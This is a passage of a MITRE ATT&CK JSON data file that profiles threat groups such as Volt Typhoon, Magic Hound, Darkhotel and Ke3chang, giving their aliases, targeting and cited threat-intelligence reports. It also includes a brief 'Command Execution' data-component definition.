Oct 2017)"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack","mobile-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-24T18:50:40.179Z","name":"Aoqin Dragon","description":"[Aoqin Dragon](https://attack.mitre.org/groups/G1007) is a suspected Chinese cyber espionage threat group that has been active since at least 2013. [Aoqin Dragon](https://attack.mitre.org/groups/G1007) has primarily targeted government, education, and telecommunication organizations in Australia, Cambodia, Hong Kong, Singapore, and Vietnam. Security researchers noted a potential association between [Aoqin Dragon](https://attack.mitre.org/groups/G1007) and UNC94, based on malware, infrastructure, and targets.(Citation: SentinelOne Aoqin Dragon June 2022)","aliases":["Aoqin Dragon"],"x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_contributors":["Hiroki Nagahama, NEC Corporation","Pooja Natarajan, NEC Corporation India","Manikantan Srinivasan, NEC Corporation India"],"type":"intrusion-set","id":"intrusion-set--64d5f96a-f121-4d19-89f6-6709f5c49faa","created":"2022-07-14T14:32:47.582Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G1007","external_id":"G1007"},{"source_name":"SentinelOne Aoqin Dragon June 2022","description":"Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022.","url":"https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.0.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-04T23:27:22.311Z","name":"Cinnamon Tempest","description":"[Cinnamon Tempest](https://attack.mitre.org/groups/G1021) is a China-based threat group that has been active since at least 2021 deploying multiple strains of ransomware based on the leaked [Babuk](https://attack.mitre.org/software/S0638) source code. [Cinnamon Tempest](https://attack.mitre.org/groups/G1021) does not operate their ransomware on an affiliate model or purchase access but appears to act independently in all stages of the attack lifecycle. Based on victimology, the short lifespan of each ransomware variant, and use of malware attributed to government-sponsored threat groups, [Cinnamon Tempest](https://attack.mitre.org/groups/G1021) may be motivated by intellectual property theft or cyberespionage rather than financial gain.(Citation: Microsoft Ransomware as a Service)(Citation: Microsoft Threat Actor Naming July 2023)(Citation: Trend Micro Cheerscrypt May 2022)(Citation: SecureWorks BRONZE STARLIGHT Ransomware Operations June 2022)","aliases":["Cinnamon Tempest","DEV-0401","Emperor Dragonfly","BRONZE STARLIGHT"],"x_mitre_deprecated":false,"x_mitre_version":"1.0","type":"intrusion-set","id":"intrusion-set--8b1e16f6-e7c8-4b7a-a5df-f81232c13e2f","created":"2023-12-06T19:53:04.988Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G1021","external_id":"G1021"},{"source_name":"BRONZE STARLIGHT","description":"(Citation: Dell SecureWorks BRONZE STARLIGHT Profile)"},{"source_name":"DEV-0401","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"Emperor Dragonfly","description":"(Citation: Sygnia Emperor Dragonfly October 2022)"},{"source_name":"Sygnia Emperor Dragonfly October 2022","description":"Biderman, O. et al. (2022, October 3). REVEALING EMPEROR DRAGONFLY: NIGHT SKY AND CHEERSCRYPT - A SINGLE RANSOMWARE GROUP. Retrieved December 6, 2023.","url":"https://blog.sygnia.co/revealing-emperor-dragonfly-a-chinese-ransomware-group"},{"source_name":"SecureWorks BRONZE STARLIGHT Ransomware Operations June 2022","description":"Counter Threat Unit Research Team . (2022, June 23). BRONZE STARLIGHT RANSOMWARE OPERATIONS USE HUI LOADER. Retrieved December 7, 2023.","url":"https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader"},{"source_name":"Trend Micro Cheerscrypt May 2022","description":"Dela Cruz, A. et al. (2022, May 25). New Linux-Based Ransomware Cheerscrypt Targeting ESXi Devices Linked to Leaked Babuk Source Code. Retrieved December 19, 2023.","url":"https://www.trendmicro.com/en_se/research/22/e/new-linux-based-ransomware-cheerscrypt-targets-exsi-devices.html"},{"source_name":"Microsoft Threat Actor Naming July 2023","description":"Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.","url":"https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"},{"source_name":"Microsoft Ransomware as a Service","description":"Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"},{"source_name":"Dell SecureWorks BRONZE STARLIGHT Profile","description":"SecureWorks. (n.d.). BRONZE STARLIGHT. Retrieved December 6, 2023.","url":"https://www.secureworks.com/research/threat-profiles/bronze-starlight"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-08-14T15:24:19.141Z","name":"HEXANE","description":"[HEXANE](https://attack.mitre.org/groups/G1001) is a cyber espionage threat group that has targeted oil & gas, telecommunications, aviation, and internet service provider organizations since at least 2017. Targeted companies have been located in the Middle East and Africa, including Israel, Saudi Arabia, Kuwait, Morocco, and Tunisia. [HEXANE](https://attack.mitre.org/groups/G1001)'s TTPs appear similar to [APT33](https://attack.mitre.org/groups/G0064) and [OilRig](https://attack.mitre.org/groups/G0049) but due to differences in victims and tools it is tracked as a separate entity.(Citation: Dragos Hexane)(Citation: Kaspersky Lyceum October 2021)(Citation: ClearSky Siamesekitten August 2021)(Citation: Accenture Lyceum Targets November 2021)","aliases":["HEXANE","Lyceum","Siamesekitten","Spirlin"],"x_mitre_deprecated":false,"x_mitre_version":"2.3","x_mitre_contributors":["Dragos Threat Intelligence","Mindaugas Gudzis, BT Security"],"type":"intrusion-set","id":"intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G1001","external_id":"G1001"},{"source_name":"Spirlin","description":"(Citation: Accenture Lyceum Targets November 2021)"},{"source_name":"Siamesekitten","description":"(Citation: ClearSky Siamesekitten August 2021)"},{"source_name":"Lyceum","description":"(Citation: SecureWorks August 2019)"},{"source_name":"Accenture Lyceum Targets November 2021","description":"Accenture. (2021, November 9). Who are latest targets of cyber group Lyceum?. Retrieved June 16, 2022.","url":"https://www.accenture.com/us-en/blogs/cyber-defense/iran-based-lyceum-campaigns"},{"source_name":"ClearSky Siamesekitten August 2021","description":"ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022.","url":"https://www.clearskysec.com/siamesekitten/"},{"source_name":"Dragos Hexane","description":"Dragos. (n.d.). Hexane. Retrieved October 27, 2019.","url":"https://dragos.com/resource/hexane/"},{"source_name":"Kaspersky Lyceum October 2021","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022.","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf"},{"source_name":"SecureWorks August 2019","description":"SecureWorks 2019, August 27 LYCEUM Takes Center Stage in Middle East Campaign Retrieved. 2019/11/19 ","url":"https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack","ics-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-01-08T20:27:56.707Z","name":"Darkhotel","description":"[Darkhotel](https://attack.mitre.org/groups/G0012) is a suspected South Korean threat group that has targeted victims primarily in East Asia since at least 2004. The group's name is based on cyber espionage operations conducted via hotel Internet networks against traveling executives and other select guests. [Darkhotel](https://attack.mitre.org/groups/G0012) has also conducted spearphishing campaigns and infected victims through peer-to-peer and file sharing networks.(Citation: Kaspersky Darkhotel)(Citation: Securelist Darkhotel Aug 2015)(Citation: Microsoft Digital Defense FY20 Sept 2020)","aliases":["Darkhotel","DUBNIUM","Zigzag Hail"],"x_mitre_deprecated":false,"x_mitre_version":"3.0","x_mitre_contributors":["Harry Kim, CODEMIZE"],"type":"intrusion-set","id":"intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383","created":"2017-05-31T21:31:50.624Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0012","external_id":"G0012"},{"source_name":"Darkhotel","description":"(Citation: Kaspersky Darkhotel)"},{"source_name":"DUBNIUM","description":"(Citation: Microsoft Digital Defense FY20 Sept 2020)(Citation: Microsoft DUBNIUM June 2016)(Citation: Microsoft DUBNIUM Flash June 2016)(Citation: Microsoft DUBNIUM July 2016)"},{"source_name":"Zigzag Hail","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"Securelist Darkhotel Aug 2015","description":"Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.","url":"https://securelist.com/darkhotels-attacks-in-2015/71713/"},{"source_name":"Kaspersky Darkhotel","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, November). The Darkhotel APT A Story of Unusual Hospitality. Retrieved November 12, 2014.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070903/darkhotel_kl_07.11.pdf"},{"source_name":"Microsoft Digital Defense FY20 Sept 2020","description":"Microsoft . (2020, September 29). Microsoft Digital Defense Report FY20. Retrieved April 21, 2021.","url":"https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWxPuf"},{"source_name":"Microsoft Threat Actor Naming July 2023","description":"Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.","url":"https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"},{"source_name":"Microsoft DUBNIUM July 2016","description":"Microsoft. (2016, July 14). Reverse engineering DUBNIUM – Stage 2 payload analysis . Retrieved March 31, 2021.","url":"https://www.microsoft.com/security/blog/2016/07/14/reverse-engineering-dubnium-stage-2-payload-analysis/"},{"source_name":"Microsoft DUBNIUM Flash June 2016","description":"Microsoft. (2016, June 20). Reverse-engineering DUBNIUM’s Flash-targeting exploit. Retrieved March 31, 2021.","url":"https://www.microsoft.com/security/blog/2016/06/20/reverse-engineering-dubniums-flash-targeting-exploit/"},{"source_name":"Microsoft DUBNIUM June 2016","description":"Microsoft. (2016, June 9). Reverse-engineering DUBNIUM. Retrieved March 31, 2021.","url":"https://www.microsoft.com/security/blog/2016/06/09/reverse-engineering-dubnium-2/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-01-08T21:47:14.257Z","name":"Ke3chang","description":"[Ke3chang](https://attack.mitre.org/groups/G0004) is a threat group attributed to actors operating out of China. [Ke3chang](https://attack.mitre.org/groups/G0004) has targeted oil, government, diplomatic, military, and NGOs in Central and South America, the Caribbean, Europe, and North America since at least 2010.(Citation: Mandiant Operation Ke3chang November 2014)(Citation: NCC Group APT15 Alive and Strong)(Citation: APT15 Intezer June 2018)(Citation: Microsoft NICKEL December 2021)","aliases":["Ke3chang","APT15","Mirage","Vixen Panda","GREF","Playful Dragon","RoyalAPT","NICKEL","Nylon Typhoon"],"x_mitre_deprecated":false,"x_mitre_version":"3.0","x_mitre_contributors":["Pooja Natarajan, NEC Corporation India","Manikantan Srinivasan, NEC Corporation India","Hiroki Nagahama, NEC Corporation"],"type":"intrusion-set","id":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","created":"2017-05-31T21:31:47.177Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0004","external_id":"G0004"},{"source_name":"RoyalAPT","description":"(Citation: APT15 Intezer June 2018)"},{"source_name":"NICKEL","description":"(Citation: Microsoft NICKEL December 2021)"},{"source_name":"Nylon Typhoon","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"APT15","description":"(Citation: NCC Group APT15 Alive and Strong)"},{"source_name":"Mirage","description":"(Citation: NCC Group APT15 Alive and Strong)"},{"source_name":"GREF","description":"(Citation: NCC Group APT15 Alive and Strong)"},{"source_name":"Vixen Panda","description":"(Citation: NCC Group APT15 Alive and Strong)(Citation: APT15 Intezer June 2018)"},{"source_name":"Playful Dragon","description":"(Citation: NCC Group APT15 Alive and Strong)(Citation: APT15 Intezer June 2018)"},{"source_name":"Ke3chang","description":"(Citation: Villeneuve et al 2014) (Citation: NCC Group APT15 Alive and Strong) (Citation: APT15 Intezer June 2018)"},{"source_name":"Microsoft Threat Actor Naming July 2023","description":"Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.","url":"https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"},{"source_name":"Microsoft NICKEL December 2021","description":"MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022.","url":"https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe"},{"source_name":"APT15 Intezer June 2018","description":"Rosenberg, J. (2018, June 14). MirageFox: APT15 Resurfaces With New Tools Based On Old Ones. Retrieved September 21, 2018.","url":"https://web.archive.org/web/20180615122133/https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/"},{"source_name":"NCC Group APT15 Alive and Strong","description":"Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.","url":"https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"},{"source_name":"Mandiant Operation Ke3chang November 2014","description":"Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION “KE3CHANG”: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.","url":"https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs"},{"source_name":"Villeneuve et al 2014","description":"Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION “KE3CHANG”: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.","url":"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-09-19T20:08:40.243Z","name":"Honeybee","description":"[Honeybee](https://attack.mitre.org/groups/G0072) is a campaign led by an unknown actor that targets humanitarian aid organizations and has been active in Vietnam, Singapore, Argentina, Japan, Indonesia, and Canada. It has been an active operation since August of 2017 and as recently as February 2018. (Citation: McAfee Honeybee)","aliases":["Honeybee"],"x_mitre_deprecated":true,"x_mitre_version":"1.1","type":"intrusion-set","id":"intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0072","external_id":"G0072"},{"source_name":"Honeybee","description":"(Citation: McAfee Honeybee)"},{"source_name":"McAfee Honeybee","description":"Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-05-21T20:12:20.029Z","name":"Volt Typhoon","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) is a People's Republic of China (PRC) state-sponsored actor that has been active since at least 2021 primarily targeting critical infrastructure organizations in the US and its territories including Guam. [Volt Typhoon](https://attack.mitre.org/groups/G1017)'s targeting and pattern of behavior have been assessed as pre-positioning to enable lateral movement to operational technology (OT) assets for potential destructive or disruptive attacks. [Volt Typhoon](https://attack.mitre.org/groups/G1017) has emphasized stealth in operations using web shells, living-off-the-land (LOTL) binaries, hands on keyboard activities, and stolen credentials.(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)(Citation: Microsoft Volt Typhoon May 2023)(Citation: Joint Cybersecurity Advisory Volt Typhoon June 2023)(Citation: Secureworks BRONZE SILHOUETTE May 2023)","aliases":["Volt Typhoon","BRONZE SILHOUETTE","Vanguard Panda","DEV-0391","UNC3236","Voltzite","Insidious Taurus"],"x_mitre_deprecated":false,"x_mitre_version":"2.0","x_mitre_contributors":["Phyo Paing Htun (ChiLai), I-Secure Co.,Ltd","Ai Kimura, NEC Corporation","Manikantan Srinivasan, NEC Corporation India","Pooja Natarajan, NEC Corporation India"],"type":"intrusion-set","id":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","created":"2023-07-27T20:35:46.206Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G1017","external_id":"G1017"},{"source_name":"Vanguard Panda","description":"(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)"},{"source_name":"DEV-0391","description":"(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)"},{"source_name":"UNC3236","description":"(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)"},{"source_name":"Voltzite","description":"(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)"},{"source_name":"Insidious Taurus","description":"(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)"},{"source_name":"BRONZE SILHOUETTE","description":"(Citation: Secureworks BRONZE SILHOUETTE May 2023)(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)"},{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"},{"source_name":"Secureworks BRONZE SILHOUETTE May 2023","description":"Counter Threat Unit Research Team. (2023, May 24). Chinese Cyberespionage Group BRONZE SILHOUETTE Targets U.S. Government and Defense Organizations. Retrieved July 27, 2023.","url":"https://www.secureworks.com/blog/chinese-cyberespionage-group-bronze-silhouette-targets-us-government-and-defense-organizations"},{"source_name":"Microsoft Volt Typhoon May 2023","description":"Microsoft Threat Intelligence. (2023, May 24). Volt Typhoon targets US critical infrastructure with living-off-the-land techniques. Retrieved July 27, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/"},{"source_name":"Joint Cybersecurity Advisory Volt Typhoon June 2023","description":"NSA et al. (2023, May 24). People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection. Retrieved July 27, 2023.","url":"https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-22T04:50:51.782Z","name":"Leafminer","description":"[Leafminer](https://attack.mitre.org/groups/G0077) is an Iranian threat group that has targeted government organizations and business entities in the Middle East since at least early 2017. (Citation: Symantec Leafminer July 2018)","aliases":["Leafminer","Raspite"],"x_mitre_deprecated":false,"x_mitre_version":"2.4","type":"intrusion-set","id":"intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0077","external_id":"G0077"},{"source_name":"Raspite","description":"(Citation: Dragos Raspite Aug 2018)"},{"source_name":"Leafminer","description":"(Citation: Symantec Leafminer July 2018)"},{"source_name":"Dragos Raspite Aug 2018","description":"Dragos, Inc. (2018, August 2). RASPITE. Retrieved November 26, 2018.","url":"https://www.dragos.com/blog/20180802Raspite.html"},{"source_name":"Symantec Leafminer July 2018","description":"Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-07T16:14:39.124Z","name":"Command Execution","description":"The execution of a line of text, potentially with arguments, created from program code (e.g. a cmdlet executed via powershell.exe, interactive commands like >dir, shell executions, etc. )","x_mitre_data_source_ref":"x-mitre-data-source--73691708-ffb5-4e29-906d-f485f6fa7089","x_mitre_deprecated":false,"x_mitre_version":"1.1","type":"x-mitre-data-component","id":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","created":"2021-10-20T15:05:19.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-07-10T18:56:00.833Z","name":"Magic Hound","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) is an Iranian-sponsored threat group that conducts long term, resource-intensive cyber espionage operations, likely on behalf of the Islamic Revolutionary Guard Corps. They have targeted European, U.S., and Middle Eastern government and military personnel, academics, journalists, and organizations such as the World Health Organization (WHO), via complex social engineering campaigns since at least 2014.(Citation: FireEye APT35 2018)(Citation: ClearSky Kittens Back 3 August 2020)(Citation: Certfa Charming Kitten January 2021)(Citation: Secureworks COBALT ILLUSION Threat Profile)(Citation: Proofpoint TA453 July2021)","aliases":["Magic Hound","TA453","COBALT ILLUSION","Charming Kitten","ITG18","Phosphorus","Newscaster","APT35","Mint Sandstorm"],"x_mitre_deprecated":false,"x_mitre_version":"6.1","x_mitre_contributors":["Anastasios Pingios","Bryan Lee","Daniyal Naeem, BT Security"],"type":"intrusion-set","id":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0059","external_id":"G0059"},{"source_name":"Charming Kitten","description":"(Citation: ClearSky Charming Kitten Dec 2017)(Citation: Eweek Newscaster and Charming Kitten May 2014)(Citation: ClearSky Kittens Back 2 Oct 2019)(Citation: ClearSky Kittens Back 3 August 2020)(Citation: Proofpoint TA453 March 2021)(Citation: Check Point APT35 CharmPower January 2022)"},{"source_name":"APT35","description":"(Citation: FireEye APT35 2018)(Citation: Certfa Charming Kitten January 2021)(Citation: Check Point APT35 CharmPower January 2022)"},{"source_name":"ITG18","description":"(Citation: IBM ITG18 2020)"},{"source_name":"Phosphorus","description":"(Citation: Microsoft Phosphorus Mar 2019)(Citation: Microsoft Phosphorus Oct 2020)(Citation: US District Court of DC Phosphorus Complaint 2019)(Citation: Certfa Charming Kitten January 2021)(Citation: Proofpoint TA453 March 2021)(Citation: Check Point APT35 CharmPower January 2022)"},{"source_name":"Mint Sandstorm","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"TA453","description":"(Citation: Proofpoint TA453 March 2021)(Citation: Proofpoint TA453 July2021)(Citation: Check Point APT35 CharmPower January 2022)"},{"source_name":"COBALT ILLUSION","description":"(Citation: Secureworks COBALT ILLUSION Threat Profile)"},{"source_name":"Magic Hound","description":"(Citation: Unit 42 Magic Hound Feb 2017)"},{"source_name":"Microsoft Phosphorus Mar 2019","description":"Burt, T. (2019, March 27). New steps to protect customers from hacking. Retrieved May 27, 2020.","url":"https://blogs.microsoft.com/on-the-issues/2019/03/27/new-steps-to-protect-customers-from-hacking/"},{"source_name":"Microsoft Phosphorus Oct 2020","description":"Burt, T. (2020, October 28). Cyberattacks target international conference attendees. Retrieved March 8, 2021.","url":"https://blogs.microsoft.com/on-the-issues/2020/10/28/cyberattacks-phosphorus-t20-munich-security-conference/"},{"source_name":"Certfa Charming Kitten January 2021","description":"Certfa Labs. (2021, January 8). Charming Kitten’s Christmas Gift. Retrieved May 3, 2021.","url":"https://blog.certfa.com/posts/charming-kitten-christmas-gift/"},{"source_name":"Check Point APT35 CharmPower January 2022","description":"Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022.","url":"https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/"},{"source_name":"ClearSky Charming Kitten Dec 2017","description":"ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.","url":"http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf"},{"source_name":"ClearSky Kittens Back 2 Oct 2019","description":"ClearSky Research Team. (2019, October 1). The Kittens Are Back in Town2 - Charming Kitten Campaign KeepsGoing on, Using New Impersonation Methods. Retrieved April 21, 2021.","url":"https://www.clearskysec.com/wp-content/uploads/2019/10/The-Kittens-Are-Back-in-Town-2-1.pdf"},{"source_name":"ClearSky Kittens Back 3 August 2020","description":"ClearSky Research Team. (2020, August 1). The Kittens Are Back in Town 3 - Charming Kitten Campaign Evolved and Deploying Spear-Phishing link by WhatsApp. Retrieved April 21, 2021.","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/The-Kittens-are-Back-in-Town-3.pdf"},{"source_name":"Eweek Newscaster and Charming Kitten May 2014","description":"Kerner, S. (2014, May 29). Newscaster Threat Uses Social Media for Intelligence Gathering. Retrieved April 14, 2021.","url":"https://www.eweek.com/security/newscaster-threat-uses-social-media-for-intelligence-gathering"},{"source_name":"Unit 42 Magic Hound Feb 2017","description":"Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"},{"source_name":"Newscaster","description":"Link analysis of infrastructure and tools revealed a potential relationship between Magic Hound and the older attack campaign called Newscaster (aka Newscasters).(Citation: Unit 42 Magic Hound Feb 2017)(Citation: FireEye APT35 2018)"},{"source_name":"FireEye APT35 2018","description":"Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.","url":"https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf"},{"source_name":"Microsoft Threat Actor Naming July 2023","description":"Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.","url":"https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"},{"source_name":"Proofpoint TA453 July2021","description":"Miller, J. et al. (2021, July 13). Operation SpoofedScholars: A Conversation with TA453. Retrieved August 18, 2021.","url":"https://www.proofpoint.com/us/blog/threat-insight/operation-spoofedscholars-conversation-ta453"},{"source_name":"Proofpoint TA453 March 2021","description":"Miller, J. et al. (2021, March 30). BadBlood: TA453 Targets US and Israeli Medical Research Personnel in Credential Phishing Campaigns. Retrieved May 4, 2021.","url":"https://www.proofpoint.com/us/blog/threat-insight/badblood-ta453-targets-us-and-israeli-medical-research-personnel-credential"},{"source_name":"Secureworks COBALT ILLUSION Threat Profile","description":"Secureworks. (n.d.). COBALT ILLUSION Threat Profile. Retrieved April 14, 